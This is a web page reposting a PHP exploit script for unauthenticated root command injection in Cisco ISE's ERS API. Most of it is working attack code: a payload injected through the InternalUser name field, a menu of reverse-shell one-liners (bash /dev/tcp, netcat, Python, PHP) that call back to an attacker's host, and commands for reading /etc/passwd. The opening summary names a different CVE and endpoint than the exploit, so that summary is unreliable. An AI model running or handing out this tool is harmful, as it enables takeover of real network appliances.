Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Cisco ISE API 3.0 (CVE-2023-20078) had a critical command injection Cisco ISE API 3.0 (CVE-2023-20078) had a critical command injection vulnerability.
It allowed an unauthenticated, remote attacker to execute arbitrary commands with root privileges.
The flaw resided in the `mnt/application_logs` API endpoint, specifically within the `fileName` parameter.
Insufficient input sanitization allowed attackers to inject shell metacharacters (e.g., `;`, `|`, `&`).
This enabled arbitrary command execution, leading to full system compromise, data exfiltration, or denial of service.
Cisco released patches to address this critical flaw, urging users to update affected versions promptly.

=============================================================================================================================================
| # Title : Cisco ISE API 3.0 command injection Exploits |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.cisco.com/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/212002/ & CVE-2025-20281


[+] Summary :

CVE-2025-20281 is a critical unauthenticated remote code execution vulnerability in Cisco Identity Services Engine (ISE) ERS API.
The vulnerability allows attackers to execute arbitrary system commands as root without any authentication by exploiting command injection in the InternalUser name field.
The vulnerability exists in the ERS (External RESTful Services) API of Cisco ISE where user input in the InternalUser name field is improperly sanitized before being processed.
Attackers can inject system commands through crafted payloads that are executed with root privileges on the underlying operating system.

[+] POC :

Examples:

Primary Use:

# Vulnerability Testing

php cisco_ise_exploit.php --whoami 192.168.1.100

# Executing a Custom Command

php cisco_ise_exploit.php --cmd "id" 192.168.1.100

# Connectivity Testing Only

php cisco_ise_exploit.php --test 192.168.1.100

Reverse Shell:

# Creating a Reverse Shell

php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100

# With SSL Verification

php cisco_ise_exploit.php --reverse 10.0.0.50 4444 --verify-ssl 192.168.1.100

Advanced Commands:

# Extract System Information

php cisco_ise_exploit.php --cmd "uname -a" 192.168.1.100

# Display Users

php cisco_ise_exploit.php --cmd "cat /etc/passwd" 192.168.1.100

# Scan Network

php cisco_ise_exploit.php --cmd "ifconfig" 192.168.1.100


<?php
/**
* Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS
* by indoushka
*
* Exploits unauthenticated RCE in Cisco ISE ERS API through command injection
* in the InternalUser name field.
*/

class CiscoISEExploit {
private $target;
private $verify_ssl;

public function __construct($target, $verify_ssl = false) {
$this->target = $target;
$this->verify_ssl = $verify_ssl;
}

private function makeRequest($url, $payload) {
$ch = curl_init();

$options = [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'User-Agent: Cisco-ISE-Exploit/1.0'
],
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0
];

curl_setopt_array($ch, $options);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
throw new Exception("cURL error: " . $error);
}

return [
'status' => $http_code,
'body' => $response
];
}

public function exploit($cmd) {
$url = "https://{$this->target}:9060/ers/sdk#_";
// Alternative URL if needed:
// $url = "https://{$this->target}/ers/sdk#_";

$payload = [
"InternalUser" => [
"name" => "pwn; {$cmd}; #",
"password" => "x", // dummy value, ignored by vulnerability
"changePassword" => false
]
];

echo "[*] Sending payload to: {$url}\n";
echo "[*] Command: {$cmd}\n\n";

try {
$response = $this->makeRequest($url, $payload);
echo "[+] HTTP {$response['status']}\n";
echo "Response:\n{$response['body']}\n";

return $response;
} catch (Exception $e) {
echo "[!] Exploit failed: " . $e->getMessage() . "\n";
return false;
}
}

public function buildReverseShell($lhost, $lport) {
// Multiple reverse shell options for compatibility
$shells = [
// Bash reverse shell
"/bin/bash -c '/bin/bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'",

// Netcat traditional
"nc -e /bin/bash {$lhost} {$lport}",

// Netcat with -e support
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f",

// Python reverse shell
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",

// PHP reverse shell
"php -r '\$s=fsockopen(\"{$lhost}\",{$lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
];

// Return bash reverse shell by default (most reliable)
return $shells[0];
}

public function testConnection() {
$url = "https://{$this->target}:9060/ers/sdk";
echo "[*] Testing connection to: {$url}\n";

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_NOBODY => true // HEAD request
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code > 0) {
echo "[+] Target is reachable (HTTP {$http_code})\n";
return true;
} else {
echo "[!] Target is not reachable\n";
return false;
}
}
}

function showBanner() {
echo "=== CVE-2025-20281 Cisco ISE Unauthenticated RCE Exploit ===\n";
echo "=== PHP Version - Unauthenticated Command Injection ===\n\n";
}

function showHelp() {
echo "Usage: php cisco_ise_exploit.php [OPTIONS] <target>\n\n";
echo "Arguments:\n";
echo " <target> IP address or hostname of Cisco ISE PAN\n\n";
echo "Options:\n";
echo " --whoami Run 'whoami' command to test RCE\n";
echo " --reverse LHOST LPORT Spawn reverse shell to LHOST:LPORT\n";
echo " --cmd COMMAND Execute custom command\n";
echo " --test Test connection to target only\n";
echo " --verify-ssl Enable SSL certificate verification\n";
echo " --help Show this help message\n\n";
echo "Examples:\n";
echo " php cisco_ise_exploit.php --whoami 192.168.1.100\n";
echo " php cisco_ise_exploit.php --reverse 10.0.0.50 4444 192.168.1.100\n";
echo " php cisco_ise_exploit.php --cmd 'id' 192.168.1.100\n";
echo " php cisco_ise_exploit.php --test 192.168.1.100\n";
}

function parseArguments($argv) {
$options = [
'target' => null,
'whoami' => false,
'reverse' => null,
'cmd' => null,
'test' => false,
'verify_ssl' => false,
'help' => false
];

// Simple argument parsing
for ($i = 1; $i < count($argv); $i++) {
switch ($argv[$i]) {
case '--whoami':
$options['whoami'] = true;
break;
case '--reverse':
if ($i + 2 < count($argv)) {
$options['reverse'] = [$argv[$i + 1], $argv[$i + 2]];
$i += 2;
}
break;
case '--cmd':
if ($i + 1 < count($argv)) {
$options['cmd'] = $argv[$i + 1];
$i += 1;
}
break;
case '--test':
$options['test'] = true;
break;
case '--verify-ssl':
$options['verify_ssl'] = true;
break;
case '--help':
$options['help'] = true;
break;
default:
// Assume this is the target if it doesn't start with --
if (!str_starts_with($argv[$i], '--')) {
$options['target'] = $argv[$i];
}
break;
}
}

return $options;
}

// Main execution
if (php_sapi_name() === 'cli') {
showBanner();

$options = parseArguments($argv);

if ($options['help'] || !$options['target']) {
showHelp();
exit(0);
}

$exploit = new CiscoISEExploit($options['target'], $options['verify_ssl']);

// Test connection only
if ($options['test']) {
$exploit->testConnection();
exit(0);
}

// Determine command to execute
$cmd = '';
if ($options['whoami']) {
$cmd = 'whoami';
} elseif ($options['reverse']) {
list($lhost, $lport) = $options['reverse'];
$cmd = $exploit->buildReverseShell($lhost, $lport);
echo "[*] Reverse shell payload generated for {$lhost}:{$lport}\n";
} elseif ($options['cmd']) {
$cmd = $options['cmd'];
} else {
echo "[!] No command specified. Use --whoami, --reverse, or --cmd\n";
showHelp();
exit(1);
}

echo "[*] Target: {$options['target']}\n";
echo "[*] Command: {$cmd}\n\n";

// Execute exploit
$result = $exploit->exploit($cmd);

if ($result) {
echo "\n[+] Exploit attempt completed.\n";

if ($options['reverse']) {
echo "[*] Check your listener for reverse shell connection\n";
}
} else {
echo "\n[!] Exploit failed.\n";
exit(1);
}

} else {
echo "This script must be run from the command line.\n";
exit(1);
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share